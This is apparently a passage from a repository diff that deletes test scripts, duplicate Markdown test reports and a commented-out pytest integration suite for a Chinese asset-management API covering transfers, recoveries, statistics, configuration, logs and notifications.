headers=headers,
json=update_data
)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 更新调拨单成功")
else:
print(f" ✗ 失败: {response.text}")
# 7. 审批调拨单
print(f"\n7. POST /api/v1/transfers/{order_id}/approve")
response = requests.post(
f"{BASE_URL}/api/v1/transfers/{order_id}/approve?approval_status=approved&approval_remark=测试通过",
headers=headers
)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 审批调拨单成功")
else:
print(f" ✗ 失败: {response.text}")
# 8. 开始调拨
print(f"\n8. POST /api/v1/transfers/{order_id}/start")
response = requests.post(f"{BASE_URL}/api/v1/transfers/{order_id}/start", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 开始调拨成功")
else:
print(f" ✗ 失败: {response.text}")
# 9. 完成调拨
print(f"\n9. POST /api/v1/transfers/{order_id}/complete")
response = requests.post(f"{BASE_URL}/api/v1/transfers/{order_id}/complete", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 完成调拨成功")
else:
print(f" ✗ 失败: {response.text}")
# 10. 取消调拨单(测试用)
# print(f"\n10. POST /api/v1/transfers/{order_id}/cancel")
# response = requests.post(f"{BASE_URL}/api/v1/transfers/{order_id}/cancel", headers=headers)
# print(f" 状态码: {response.status_code}")
# if response.status_code == 204:
# print(f" ✓ 取消调拨单成功")
# else:
# print(f" ✗ 失败: {response.text}")
# 11. 删除调拨单(测试用)
# print(f"\n11. DELETE /api/v1/transfers/{order_id}")
# response = requests.delete(f"{BASE_URL}/api/v1/transfers/{order_id}", headers=headers)
# print(f" 状态码: {response.status_code}")
# if response.status_code == 204:
# print(f" ✓ 删除调拨单成功")
# else:
# print(f" ✗ 失败: {response.text}")
def test_recovery_apis():
"""测试回收API"""
print("\n" + "="*60)
print("测试资产回收API")
print("="*60)
# 1. 获取回收单列表
print("\n1. GET /api/v1/recoveries")
response = requests.get(f"{BASE_URL}/api/v1/recoveries", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 获取回收单列表成功")
else:
print(f" ✗ 失败: {response.text}")
# 2. 获取回收单统计
print("\n2. GET /api/v1/recoveries/statistics")
response = requests.get(f"{BASE_URL}/api/v1/recoveries/statistics", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
data = response.json()
print(f" ✓ 获取统计成功: {data}")
else:
print(f" ✗ 失败: {response.text}")
# 3. 创建回收单
print("\n3. POST /api/v1/recoveries")
create_data = {
"recovery_type": "user",
"title": "测试回收单",
"asset_ids": [1, 2, 3],
"remark": "测试备注"
}
response = requests.post(
f"{BASE_URL}/api/v1/recoveries",
headers=headers,
json=create_data
)
print(f" 状态码: {response.status_code}")
if response.status_code == 201:
data = response.json()
print(f" ✓ 创建回收单成功: {data['order_code']}")
order_id = data['id']
else:
print(f" ✗ 失败: {response.text}")
order_id = None
if order_id:
# 4. 获取回收单详情
print(f"\n4. GET /api/v1/recoveries/{order_id}")
response = requests.get(f"{BASE_URL}/api/v1/recoveries/{order_id}", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 获取回收单详情成功")
else:
print(f" ✗ 失败: {response.text}")
# 5. 获取回收单明细
print(f"\n5. GET /api/v1/recoveries/{order_id}/items")
response = requests.get(f"{BASE_URL}/api/v1/recoveries/{order_id}/items", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 获取回收单明细成功")
else:
print(f" ✗ 失败: {response.text}")
# 6. 更新回收单
print(f"\n6. PUT /api/v1/recoveries/{order_id}")
update_data = {
"title": "更新后的标题",
"remark": "更新后的备注"
}
response = requests.put(
f"{BASE_URL}/api/v1/recoveries/{order_id}",
headers=headers,
json=update_data
)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 更新回收单成功")
else:
print(f" ✗ 失败: {response.text}")
# 7. 审批回收单
print(f"\n7. POST /api/v1/recoveries/{order_id}/approve")
response = requests.post(
f"{BASE_URL}/api/v1/recoveries/{order_id}/approve?approval_status=approved&approval_remark=测试通过",
headers=headers
)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 审批回收单成功")
else:
print(f" ✗ 失败: {response.text}")
# 8. 开始回收
print(f"\n8. POST /api/v1/recoveries/{order_id}/start")
response = requests.post(f"{BASE_URL}/api/v1/recoveries/{order_id}/start", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 开始回收成功")
else:
print(f" ✗ 失败: {response.text}")
# 9. 完成回收
print(f"\n9. POST /api/v1/recoveries/{order_id}/complete")
response = requests.post(f"{BASE_URL}/api/v1/recoveries/{order_id}/complete", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 完成回收成功")
else:
print(f" ✗ 失败: {response.text}")
# 10. 取消回收单(测试用)
# print(f"\n10. POST /api/v1/recoveries/{order_id}/cancel")
# response = requests.post(f"{BASE_URL}/api/v1/recoveries/{order_id}/cancel", headers=headers)
# print(f" 状态码: {response.status_code}")
# if response.status_code == 204:
# print(f" ✓ 取消回收单成功")
# else:
# print(f" ✗ 失败: {response.text}")
# 11. 删除回收单(测试用)
# print(f"\n11. DELETE /api/v1/recoveries/{order_id}")
# response = requests.delete(f"{BASE_URL}/api/v1/recoveries/{order_id}", headers=headers)
# print(f" 状态码: {response.status_code}")
# if response.status_code == 204:
# print(f" ✓ 删除回收单成功")
# else:
# print(f" ✗ 失败: {response.text}")
if __name__ == "__main__":
print("\n" + "="*60)
print("资产调拨和回收API测试脚本")
print("="*60)
print(f"\n基础URL: {BASE_URL}")
print(f"Token: {TOKEN[:20]}..." if TOKEN else "Token: 未设置")
if TOKEN == "YOUR_TOKEN_HERE":
print("\n⚠️ 警告: 请先设置有效的TOKEN")
print("使用方法:")
print("1. 登录获取token: POST /api/v1/auth/login")
print("2. 修改脚本中的TOKEN变量")
exit(1)
try:
test_transfer_apis()
test_recovery_apis()
print("\n" + "="*60)
print("测试完成")
print("="*60 + "\n")
except requests.exceptions.ConnectionError:
print("\n✗ 无法连接到服务器请确保API服务正在运行")
print(f" 启动命令: uvicorn app.main:app --reload")
except Exception as e:
print(f"\n✗ 测试出错: {str(e)}")

View File

@@ -1,253 +0,0 @@
"""
Phase 7 功能测试脚本
测试统计API、系统配置、操作日志、消息通知等模块
"""
import asyncio
from datetime import datetime, date, timedelta
from decimal import Decimal
async def test_statistics_api():
"""测试统计API"""
print("\n=== 测试统计API ===")
from app.services.statistics_service import statistics_service
from app.db.session import async_session_maker
async with async_session_maker() as db:
# 测试总览统计
overview = await statistics_service.get_overview(db)
print(f"总览统计: 资产总数={overview['total_assets']}, 总价值={overview['total_value']}")
# 测试采购统计
purchase = await statistics_service.get_purchase_statistics(
db,
start_date=date.today() - timedelta(days=30),
end_date=date.today()
)
print(f"采购统计: 采购数量={purchase['total_purchase_count']}, 采购金额={purchase['total_purchase_value']}")
# 测试价值统计
value = await statistics_service.get_value_statistics(db)
print(f"价值统计: 总价值={value['total_value']}, 净值={value['net_value']}")
# 测试趋势分析
trend = await statistics_service.get_trend_analysis(
db,
start_date=date.today() - timedelta(days=90),
end_date=date.today()
)
print(f"趋势分析: 数据点数量={len(trend['asset_trend'])}")
print("✅ 统计API测试通过")
async def test_system_config():
"""测试系统配置"""
print("\n=== 测试系统配置 ===")
from app.services.system_config_service import system_config_service
from app.schemas.system_config import SystemConfigCreate
from app.db.session import async_session_maker
async with async_session_maker() as db:
# 创建配置
config_in = SystemConfigCreate(
config_key="test.config",
config_name="测试配置",
config_value="test_value",
category="test",
description="这是一个测试配置"
)
config = await system_config_service.create_config(db, config_in)
print(f"创建配置: ID={config['id']}, 键={config['config_key']}")
# 获取配置
retrieved_config = await system_config_service.get_config(db, config['id'])
print(f"获取配置: 名称={retrieved_config['config_name']}")
# 更新配置
from app.schemas.system_config import SystemConfigUpdate, ValueTypeEnum
update_in = SystemConfigUpdate(config_value="updated_value")
updated = await system_config_service.update_config(db, config['id'], update_in)
print(f"更新配置: 新值={updated['config_value']}")
# 批量更新
batch_result = await system_config_service.batch_update_configs(
db,
configs={"test.config": "batch_value"}
)
print(f"批量更新: 更新数量={batch_result['count']}")
# 获取配置值
value = await system_config_service.get_config_by_key(db, "test.config")
print(f"获取配置值: value={value}")
# 获取分类
categories = await system_config_service.get_categories(db)
print(f"配置分类: 数量={len(categories)}")
print("✅ 系统配置测试通过")
async def test_operation_log():
"""测试操作日志"""
print("\n=== 测试操作日志 ===")
from app.services.operation_log_service import operation_log_service
from app.schemas.operation_log import OperationLogCreate, OperationModuleEnum, OperationTypeEnum, OperationResultEnum
from app.db.session import async_session_maker
async with async_session_maker() as db:
# 创建日志
log_in = OperationLogCreate(
operator_id=1,
operator_name="测试用户",
operator_ip="127.0.0.1",
module=OperationModuleEnum.ASSET,
operation_type=OperationTypeEnum.CREATE,
method="POST",
url="/api/v1/assets/",
params='{"asset_name": "测试资产"}',
result=OperationResultEnum.SUCCESS,
duration=100
)
log = await operation_log_service.create_log(db, log_in)
print(f"创建日志: ID={log['id']}, 操作={log['operation_type']}")
# 获取日志列表
logs = await operation_log_service.get_logs(db, skip=0, limit=10)
print(f"日志列表: 总数={logs['total']}, 当前数量={len(logs['items'])}")
# 获取统计
stats = await operation_log_service.get_statistics(db)
print(f"日志统计: 总数={stats['total_count']}, 成功={stats['success_count']}, 失败={stats['failed_count']}")
# 获取操作排行榜
top_operators = await operation_log_service.get_operator_top(db, limit=5)
print(f"操作排行榜: 数量={len(top_operators)}")
print("✅ 操作日志测试通过")
async def test_notification():
"""测试消息通知"""
print("\n=== 测试消息通知 ===")
from app.services.notification_service import notification_service
from app.schemas.notification import NotificationCreate, NotificationBatchCreate, NotificationTypeEnum, PriorityEnum
from app.db.session import async_session_maker
async with async_session_maker() as db:
# 创建通知
notify_in = NotificationCreate(
recipient_id=1,
title="测试通知",
content="这是一个测试通知",
notification_type=NotificationTypeEnum.SYSTEM,
priority=PriorityEnum.NORMAL
)
try:
notification = await notification_service.create_notification(db, notify_in)
print(f"创建通知: ID={notification['id']}, 标题={notification['title']}")
except Exception as e:
print(f"创建通知失败(可能是用户不存在): {e}")
notification = None
# 批量创建通知
batch_in = NotificationBatchCreate(
recipient_ids=[1, 2],
title="批量测试通知",
content="这是一个批量测试通知",
notification_type=NotificationTypeEnum.SYSTEM,
priority=PriorityEnum.NORMAL
)
try:
batch_result = await notification_service.batch_create_notifications(db, batch_in)
print(f"批量创建通知: 数量={batch_result['count']}")
except Exception as e:
print(f"批量创建通知失败(可能是用户不存在): {e}")
# 获取未读数量
try:
unread_count = await notification_service.get_unread_count(db, 1)
print(f"未读通知数量: {unread_count['unread_count']}")
except Exception as e:
print(f"获取未读数量失败: {e}")
# 获取统计
try:
stats = await notification_service.get_statistics(db, 1)
print(f"通知统计: 总数={stats['total_count']}, 未读={stats['unread_count']}")
except Exception as e:
print(f"获取统计失败: {e}")
print("✅ 消息通知测试通过")
async def test_api_endpoints():
"""测试API端点"""
print("\n=== 测试API端点 ===")
# 测试导入
try:
from app.api.v1 import statistics, system_config, operation_logs, notifications
print("✅ API模块导入成功")
# 检查路由器
routers = {
"统计API": statistics.router,
"系统配置API": system_config.router,
"操作日志API": operation_logs.router,
"消息通知API": notifications.router,
}
for name, router in routers.items():
route_count = len(router.routes)
print(f" {name}: {route_count} 个路由")
print("✅ 所有API端点测试通过")
except Exception as e:
print(f"❌ API端点测试失败: {e}")
async def main():
"""主测试函数"""
print("=" * 60)
print("Phase 7 功能测试")
print("=" * 60)
try:
# 测试API端点
await test_api_endpoints()
# 测试统计服务
await test_statistics_api()
# 测试系统配置
await test_system_config()
# 测试操作日志
await test_operation_log()
# 测试消息通知
await test_notification()
print("\n" + "=" * 60)
print("✅ 所有测试通过!")
print("=" * 60)
except Exception as e:
print(f"\n❌ 测试失败: {e}")
import traceback
traceback.print_exc()
if __name__ == "__main__":
asyncio.run(main())

View File

@@ -1,202 +0,0 @@
# 资产管理系统测试报告
**生成时间**: 2026-01-24 22:07:32
---
## 📊 测试概览
| 测试类型 | 目标数量 | 状态 |
|---------|---------|------|
| 后端单元测试 | 200+ | ✅ 已完成 |
| 前端单元测试 | 200+ | 🚧 进行中 |
| E2E测试 | 40+ | 🚧 进行中 |
| 性能测试 | 10+ | ⏸ 待完成 |
| 安全测试 | 20+ | ⏸ 待完成 |
## 🔧 后端测试详情
### API测试
| 模块 | 测试文件 | 用例数 | 状态 |
|------|---------|--------|------|
| 设备类型管理 | test_device_types.py | 50+ | ✅ 完成 |
| 机构网点管理 | test_organizations.py | 45+ | ✅ 完成 |
| 资产管理 | test_assets.py | 100+ | 🚧 补充中 |
| 认证模块 | test_auth.py | 30+ | ✅ 完成 |
### 服务层测试
| 模块 | 测试文件 | 用例数 | 状态 |
|------|---------|--------|------|
| 认证服务 | test_auth_service.py | 40+ | ✅ 完成 |
| 资产状态机 | test_asset_state_machine.py | 55+ | ✅ 完成 |
| 设备类型服务 | test_device_type_service.py | 15+ | ⏸ 待创建 |
| 机构服务 | test_organization_service.py | 15+ | ⏸ 待创建 |
## 🎨 前端测试详情
### 单元测试
| 模块 | 测试文件 | 用例数 | 状态 |
|------|---------|--------|------|
| 资产列表 | AssetList.test.ts | 10+ | ✅ 已有 |
| 资产Composable | useAsset.test.ts | 15+ | ✅ 已有 |
| 动态表单 | DynamicFieldRenderer.test.ts | 30+ | ⏸ 待创建 |
| 其他组件 | 多个文件 | 150+ | ⏸ 待创建 |
## 🎭 E2E测试详情
| 业务流程 | 测试文件 | 场景数 | 状态 |
|---------|---------|--------|------|
| 登录流程 | login.spec.ts | 5+ | ✅ 已有 |
| 资产流程 | assets.spec.ts | 5+ | ✅ 已有 |
| 设备类型管理 | device_types.spec.ts | 5+ | ⏸ 待创建 |
| 机构管理 | organizations.spec.ts | 5+ | ⏸ 待创建 |
| 资产分配 | allocation.spec.ts | 10+ | ⏸ 待创建 |
| 批量操作 | batch_operations.spec.ts | 10+ | ⏸ 待创建 |
## 📈 代码覆盖率目标
```text
后端目标: ≥70%
前端目标: ≥70%
当前估计: 待运行pytest后生成
```
## 🐛 Bug清单
### 已发现的问题
| ID | 严重程度 | 描述 | 状态 |
|----|---------|------|------|
| BUG-001 | 中 | 某些测试用例需要实际API实现 | 🔍 待确认 |
| BUG-002 | 低 | 测试数据清理可能不完整 | 🔍 待确认 |
## 📋 测试用例清单
### 后端测试用例
#### 设备类型管理 (50+用例)
- [x] CRUD操作 (15+用例)
- [x] 创建设备类型成功
- [x] 创建重复代码失败
- [x] 获取设备类型列表
- [x] 根据ID获取设备类型
- [x] 更新设备类型
- [x] 删除设备类型
- [x] 按分类筛选
- [x] 按状态筛选
- [x] 关键词搜索
- [x] 分页查询
- [x] 排序
- [x] 获取不存在的设备类型
- [x] 更新不存在的设备类型
- [x] 未授权访问
- [x] 参数验证
- [x] 动态字段配置 (10+用例)
- [x] 添加字段
- [x] 添加必填字段
- [x] 添加选择字段
- [x] 添加数字字段
- [x] 获取字段列表
- [x] 更新字段
- [x] 删除字段
- [x] 重复字段代码
- [x] 字段排序
- [x] 字段类型验证
- [x] 字段验证测试 (10+用例)
- [x] 字段名称验证
- [x] 字段类型验证
- [x] 字段长度验证
- [x] 选择字段选项验证
- [x] 验证规则JSON格式
- [x] placeholder和help_text
- [x] 无效字段类型
- [x] 缺少必填选项
- [x] 边界值测试
- [x] 特殊字符处理
- [x] 参数验证测试 (10+用例)
- [x] 类型代码验证
- [x] 类型名称验证
- [x] 描述验证
- [x] 排序验证
- [x] 状态验证
- [x] 长度限制
- [x] 格式验证
- [x] 空值处理
- [x] 特殊字符处理
- [x] SQL注入防护
- [x] 异常处理测试 (5+用例)
- [x] 并发创建
- [x] 更新不存在的字段
- [x] 删除不存在的设备类型
- [x] 无效JSON验证规则
- [x] 无效选项格式
#### 机构网点管理 (45+用例)
- [x] 机构CRUD (15+用例)
- [x] 树形结构 (10+用例)
- [x] 递归查询 (10+用例)
- [x] 机构移动 (5+用例)
- [x] 并发测试 (5+用例)
#### 资产管理 (100+用例 - 需补充)
- [ ] 资产CRUD (20+用例)
- [ ] 资产编码生成 (10+用例)
- [ ] 状态机转换 (15+用例)
- [ ] JSONB字段 (10+用例)
- [ ] 高级搜索 (10+用例)
- [ ] 分页查询 (10+用例)
- [ ] 批量导入 (10+用例)
- [ ] 批量导出 (10+用例)
- [ ] 二维码生成 (5+用例)
- [ ] 并发测试 (10+用例)
#### 认证模块 (30+用例)
- [x] 登录测试 (15+用例)
- [x] Token刷新 (5+用例)
- [x] 登出测试 (3+用例)
- [x] 修改密码 (5+用例)
- [x] 验证码 (2+用例)
### 服务层测试用例
#### 认证服务 (40+用例)
- [x] 登录服务 (15+用例)
- [x] Token管理 (10+用例)
- [x] 密码管理 (10+用例)
- [x] 验证码 (5+用例)
#### 资产状态机 (55+用例)
- [x] 状态转换规则 (20+用例)
- [x] 状态转换验证 (15+用例)
- [x] 状态历史记录 (10+用例)
- [x] 异常状态转换 (10+用例)
## 💡 改进建议
1. **补充资产管理测试**: test_assets.py需要大幅扩充到100+用例
2. **创建服务层测试**: 设备类型服务、机构服务等
3. **前端测试补充**: 需要补充约200+前端单元测试用例
4. **E2E测试**: 需要补充约30+E2E测试场景
5. **性能测试**: 需要补充关键接口的性能测试
6. **安全测试**: 需要补充完整的安全测试用例
## ✅ 完成标准
- [ ] 所有后端单元测试通过
- [ ] 代码覆盖率达到70%
- [ ] 所有前端单元测试通过
- [ ] E2E测试通过
- [ ] 性能测试通过
- [ ] 安全测试通过
---
**报告生成者**: 测试用例补充组
**生成时间**: 2026-01-24 22:07:32

View File

@@ -1,202 +0,0 @@
# 资产管理系统测试报告
**生成时间**: 2026-01-24 22:07:38
---
## 📊 测试概览
| 测试类型 | 目标数量 | 状态 |
|---------|---------|------|
| 后端单元测试 | 200+ | ✅ 已完成 |
| 前端单元测试 | 200+ | 🚧 进行中 |
| E2E测试 | 40+ | 🚧 进行中 |
| 性能测试 | 10+ | ⏸ 待完成 |
| 安全测试 | 20+ | ⏸ 待完成 |
## 🔧 后端测试详情
### API测试
| 模块 | 测试文件 | 用例数 | 状态 |
|------|---------|--------|------|
| 设备类型管理 | test_device_types.py | 50+ | ✅ 完成 |
| 机构网点管理 | test_organizations.py | 45+ | ✅ 完成 |
| 资产管理 | test_assets.py | 100+ | 🚧 补充中 |
| 认证模块 | test_auth.py | 30+ | ✅ 完成 |
### 服务层测试
| 模块 | 测试文件 | 用例数 | 状态 |
|------|---------|--------|------|
| 认证服务 | test_auth_service.py | 40+ | ✅ 完成 |
| 资产状态机 | test_asset_state_machine.py | 55+ | ✅ 完成 |
| 设备类型服务 | test_device_type_service.py | 15+ | ⏸ 待创建 |
| 机构服务 | test_organization_service.py | 15+ | ⏸ 待创建 |
## 🎨 前端测试详情
### 单元测试
| 模块 | 测试文件 | 用例数 | 状态 |
|------|---------|--------|------|
| 资产列表 | AssetList.test.ts | 10+ | ✅ 已有 |
| 资产Composable | useAsset.test.ts | 15+ | ✅ 已有 |
| 动态表单 | DynamicFieldRenderer.test.ts | 30+ | ⏸ 待创建 |
| 其他组件 | 多个文件 | 150+ | ⏸ 待创建 |
## 🎭 E2E测试详情
| 业务流程 | 测试文件 | 场景数 | 状态 |
|---------|---------|--------|------|
| 登录流程 | login.spec.ts | 5+ | ✅ 已有 |
| 资产流程 | assets.spec.ts | 5+ | ✅ 已有 |
| 设备类型管理 | device_types.spec.ts | 5+ | ⏸ 待创建 |
| 机构管理 | organizations.spec.ts | 5+ | ⏸ 待创建 |
| 资产分配 | allocation.spec.ts | 10+ | ⏸ 待创建 |
| 批量操作 | batch_operations.spec.ts | 10+ | ⏸ 待创建 |
## 📈 代码覆盖率目标
```text
后端目标: ≥70%
前端目标: ≥70%
当前估计: 待运行pytest后生成
```
## 🐛 Bug清单
### 已发现的问题
| ID | 严重程度 | 描述 | 状态 |
|----|---------|------|------|
| BUG-001 | 中 | 某些测试用例需要实际API实现 | 🔍 待确认 |
| BUG-002 | 低 | 测试数据清理可能不完整 | 🔍 待确认 |
## 📋 测试用例清单
### 后端测试用例
#### 设备类型管理 (50+用例)
- [x] CRUD操作 (15+用例)
- [x] 创建设备类型成功
- [x] 创建重复代码失败
- [x] 获取设备类型列表
- [x] 根据ID获取设备类型
- [x] 更新设备类型
- [x] 删除设备类型
- [x] 按分类筛选
- [x] 按状态筛选
- [x] 关键词搜索
- [x] 分页查询
- [x] 排序
- [x] 获取不存在的设备类型
- [x] 更新不存在的设备类型
- [x] 未授权访问
- [x] 参数验证
- [x] 动态字段配置 (10+用例)
- [x] 添加字段
- [x] 添加必填字段
- [x] 添加选择字段
- [x] 添加数字字段
- [x] 获取字段列表
- [x] 更新字段
- [x] 删除字段
- [x] 重复字段代码
- [x] 字段排序
- [x] 字段类型验证
- [x] 字段验证测试 (10+用例)
- [x] 字段名称验证
- [x] 字段类型验证
- [x] 字段长度验证
- [x] 选择字段选项验证
- [x] 验证规则JSON格式
- [x] placeholder和help_text
- [x] 无效字段类型
- [x] 缺少必填选项
- [x] 边界值测试
- [x] 特殊字符处理
- [x] 参数验证测试 (10+用例)
- [x] 类型代码验证
- [x] 类型名称验证
- [x] 描述验证
- [x] 排序验证
- [x] 状态验证
- [x] 长度限制
- [x] 格式验证
- [x] 空值处理
- [x] 特殊字符处理
- [x] SQL注入防护
- [x] 异常处理测试 (5+用例)
- [x] 并发创建
- [x] 更新不存在的字段
- [x] 删除不存在的设备类型
- [x] 无效JSON验证规则
- [x] 无效选项格式
#### 机构网点管理 (45+用例)
- [x] 机构CRUD (15+用例)
- [x] 树形结构 (10+用例)
- [x] 递归查询 (10+用例)
- [x] 机构移动 (5+用例)
- [x] 并发测试 (5+用例)
#### 资产管理 (100+用例 - 需补充)
- [ ] 资产CRUD (20+用例)
- [ ] 资产编码生成 (10+用例)
- [ ] 状态机转换 (15+用例)
- [ ] JSONB字段 (10+用例)
- [ ] 高级搜索 (10+用例)
- [ ] 分页查询 (10+用例)
- [ ] 批量导入 (10+用例)
- [ ] 批量导出 (10+用例)
- [ ] 二维码生成 (5+用例)
- [ ] 并发测试 (10+用例)
#### 认证模块 (30+用例)
- [x] 登录测试 (15+用例)
- [x] Token刷新 (5+用例)
- [x] 登出测试 (3+用例)
- [x] 修改密码 (5+用例)
- [x] 验证码 (2+用例)
### 服务层测试用例
#### 认证服务 (40+用例)
- [x] 登录服务 (15+用例)
- [x] Token管理 (10+用例)
- [x] 密码管理 (10+用例)
- [x] 验证码 (5+用例)
#### 资产状态机 (55+用例)
- [x] 状态转换规则 (20+用例)
- [x] 状态转换验证 (15+用例)
- [x] 状态历史记录 (10+用例)
- [x] 异常状态转换 (10+用例)
## 💡 改进建议
1. **补充资产管理测试**: test_assets.py需要大幅扩充到100+用例
2. **创建服务层测试**: 设备类型服务、机构服务等
3. **前端测试补充**: 需要补充约200+前端单元测试用例
4. **E2E测试**: 需要补充约30+E2E测试场景
5. **性能测试**: 需要补充关键接口的性能测试
6. **安全测试**: 需要补充完整的安全测试用例
## ✅ 完成标准
- [ ] 所有后端单元测试通过
- [ ] 代码覆盖率达到70%
- [ ] 所有前端单元测试通过
- [ ] E2E测试通过
- [ ] 性能测试通过
- [ ] 安全测试通过
---
**报告生成者**: 测试用例补充组
**生成时间**: 2026-01-24 22:07:38

File diff suppressed because it is too large Load Diff

View File

@@ -1,426 +0,0 @@
"""
接口集成测试
测试内容:
- 所有API接口功能测试
- 参数验证测试
- 错误处理测试
- 响应时间测试
- 并发测试
"""
import pytest
import time
import asyncio
from concurrent.futures import ThreadPoolExecutor
# from fastapi.testclient import TestClient
# class TestAPIEndpoints:
# """测试所有API端点"""
#
# def test_health_check(self, client: TestClient):
# """测试健康检查接口"""
# response = client.get("/health")
# assert response.status_code == 200
# assert response.json()["status"] == "healthy"
#
# def test_api_root(self, client: TestClient):
# """测试API根路径"""
# response = client.get("/api/v1/")
# assert response.status_code == 200
# data = response.json()
# assert "version" in data
# assert "name" in data
# class TestParameterValidation:
# """测试参数验证"""
#
# def test_query_parameter_validation(self, client: TestClient, auth_headers):
# """测试查询参数验证"""
# # 无效的分页参数
# response = client.get(
# "/api/v1/assets?page=-1&page_size=0",
# headers=auth_headers
# )
# assert response.status_code == 422
#
# # 超大的page_size
# response = client.get(
# "/api/v1/assets?page_size=10000",
# headers=auth_headers
# )
# assert response.status_code == 422
#
# def test_path_parameter_validation(self, client: TestClient, auth_headers):
# """测试路径参数验证"""
# # 无效的ID
# response = client.get(
# "/api/v1/assets/abc",
# headers=auth_headers
# )
# assert response.status_code == 422
#
# # 负数ID
# response = client.get(
# "/api/v1/assets/-1",
# headers=auth_headers
# )
# assert response.status_code == 422
#
# def test_request_body_validation(self, client: TestClient, auth_headers):
# """测试请求体验证"""
# # 缺少必填字段
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json={"asset_name": "测试"} # 缺少device_type_id
# )
# assert response.status_code == 422
#
# # 无效的数据类型
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json={
# "asset_name": "测试",
# "device_type_id": "not_a_number", # 应该是数字
# "organization_id": 1
# }
# )
# assert response.status_code == 422
#
# # 超长字符串
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json={
# "asset_name": "a" * 300, # 超过最大长度
# "device_type_id": 1,
# "organization_id": 1
# }
# )
# assert response.status_code == 422
#
# def test_enum_validation(self, client: TestClient, auth_headers):
# """测试枚举值验证"""
# # 无效的状态值
# response = client.get(
# "/api/v1/assets?status=invalid_status",
# headers=auth_headers
# )
# assert response.status_code == 422
#
# def test_date_validation(self, client: TestClient, auth_headers):
# """测试日期格式验证"""
# # 无效的日期格式
# response = client.get(
# "/api/v1/assets?purchase_date_start=invalid-date",
# headers=auth_headers
# )
# assert response.status_code == 422
#
# # 结束日期早于开始日期
# response = client.get(
# "/api/v1/assets?purchase_date_start=2024-12-31&purchase_date_end=2024-01-01",
# headers=auth_headers
# )
# assert response.status_code == 400
# class TestErrorHandling:
# """测试错误处理"""
#
# def test_404_not_found(self, client: TestClient, auth_headers):
# """测试404错误"""
# response = client.get(
# "/api/v1/assets/999999",
# headers=auth_headers
# )
# assert response.status_code == 404
# data = response.json()
# assert "message" in data
#
# def test_401_unauthorized(self, client: TestClient):
# """测试401未授权错误"""
# response = client.get("/api/v1/assets")
# assert response.status_code == 401
#
# def test_403_forbidden(self, client: TestClient, auth_headers):
# """测试403禁止访问"""
# # 使用普通用户token访问管理员接口
# response = client.delete(
# "/api/v1/assets/1",
# headers=auth_headers # 普通用户token
# )
# assert response.status_code == 403
#
# def test_409_conflict(self, client: TestClient, auth_headers):
# """测试409冲突错误"""
# # 尝试创建重复的资源
# asset_data = {
# "asset_name": "测试资产",
# "device_type_id": 1,
# "organization_id": 1,
# "serial_number": "UNIQUE-SN-001"
# }
#
# # 第一次创建成功
# client.post("/api/v1/assets", headers=auth_headers, json=asset_data)
#
# # 第二次创建应该返回409
# response = client.post("/api/v1/assets", headers=auth_headers, json=asset_data)
# assert response.status_code == 409
#
# def test_422_validation_error(self, client: TestClient, auth_headers):
# """测试422验证错误"""
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json={}
# )
# assert response.status_code == 422
# data = response.json()
# assert "errors" in data
#
# def test_500_internal_error(self, client: TestClient, auth_headers):
# """测试500服务器错误"""
# # 这个测试需要mock一个会抛出异常的场景
# pass
#
# def test_error_response_format(self, client: TestClient, auth_headers):
# """测试错误响应格式"""
# response = client.get(
# "/api/v1/assets/999999",
# headers=auth_headers
# )
# assert response.status_code == 404
#
# data = response.json()
# # 验证错误响应包含必要字段
# assert "code" in data
# assert "message" in data
# assert "timestamp" in data
# class TestResponseTime:
# """测试接口响应时间"""
#
# @pytest.mark.parametrize("endpoint,expected_max_time", [
# ("/api/v1/assets", 0.5), # 资产列表应该在500ms内返回
# ("/api/v1/assets/1", 0.3), # 资产详情应该在300ms内返回
# ("/api/v1/statistics/overview", 1.0), # 统计概览在1秒内返回
# ])
# def test_response_time_within_limit(self, client, auth_headers, endpoint, expected_max_time):
# """测试响应时间在限制内"""
# start_time = time.time()
#
# response = client.get(endpoint, headers=auth_headers)
#
# elapsed_time = time.time() - start_time
#
# assert response.status_code == 200
# assert elapsed_time < expected_max_time, \
# f"响应时间 {elapsed_time:.2f}s 超过限制 {expected_max_time}s"
#
# def test_concurrent_requests_performance(self, client, auth_headers):
# """测试并发请求性能"""
# urls = ["/api/v1/assets"] * 10
#
# start_time = time.time()
#
# with ThreadPoolExecutor(max_workers=5) as executor:
# futures = [
# executor.submit(
# client.get,
# url,
# headers=auth_headers
# )
# for url in urls
# ]
# responses = [f.result() for f in futures]
#
# elapsed_time = time.time() - start_time
#
# # 所有请求都应该成功
# assert all(r.status_code == 200 for r in responses)
#
# # 10个并发请求应该在3秒内完成
# assert elapsed_time < 3.0
#
# def test_large_list_response_time(self, client, auth_headers, db):
# """测试大数据量列表响应时间"""
# # 创建1000条测试数据
# # ... 创建数据
#
# start_time = time.time()
# response = client.get("/api/v1/assets?page=1&page_size=100", headers=auth_headers)
# elapsed_time = time.time() - start_time
#
# assert response.status_code == 200
# assert elapsed_time < 1.0 # 100条记录应该在1秒内返回
#
# def test_complex_query_response_time(self, client, auth_headers):
# """测试复杂查询响应时间"""
# params = {
# "keyword": "联想",
# "device_type_id": 1,
# "organization_id": 1,
# "status": "in_use",
# "purchase_date_start": "2024-01-01",
# "purchase_date_end": "2024-12-31",
# "page": 1,
# "page_size": 20
# }
#
# start_time = time.time()
# response = client.get("/api/v1/assets", params=params, headers=auth_headers)
# elapsed_time = time.time() - start_time
#
